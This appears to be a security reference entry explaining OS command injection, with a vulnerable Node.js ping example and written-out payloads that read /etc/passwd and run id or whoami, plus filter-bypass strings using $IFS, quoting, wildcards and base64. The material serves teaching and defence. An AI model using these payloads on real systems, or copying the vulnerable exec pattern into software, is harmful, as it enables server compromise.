Command Injection
CriticalOS Command Injection
Definition
Command Injection is a vulnerability that lets an attacker run operating-system commands on the server through a vulnerable application. It happens when the application passes user input directly to system command-execution functions (exec, system, popen, etc.).
Impact
Execution of arbitrary commands on the operating systemReading, modifying and deleting server filesEstablishing reverse shells for persistent accessFull server compromiseLateral movement and pivoting to other internal systems
Examples
Command Injection in a ping feature
The application concatenates user input with a system command without sanitization. Using shell operators such as ;, |, && or command substitution $(), the attacker can run any command.
# Vulnerable code (Node.js)
const { exec } = require('child_process');
exec('ping -c 4 ' + req.body.host);
# Legitimate request
POST /api/network/ping
{"host": "8.8.8.8"}
# Injection payloads
{"host": "8.8.8.8; cat /etc/passwd"}
{"host": "8.8.8.8 | id"}
{"host": "8.8.8.8 && whoami"}
{"host": "$(cat /etc/passwd)"}Command Injection filter bypasses
When the application implements basic filters (such as blocking spaces or keywords), there are multiple bypass techniques using environment variables, quotes, wildcards or Base64 encoding.
# If spaces are filtered:
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
# If keywords are filtered:
c'a't /etc/passwd
c\at /etc/passwd
/bin/c?t /etc/passwd
# If special characters are filtered:
echo${IFS}dGVzdA==|base64${IFS}-d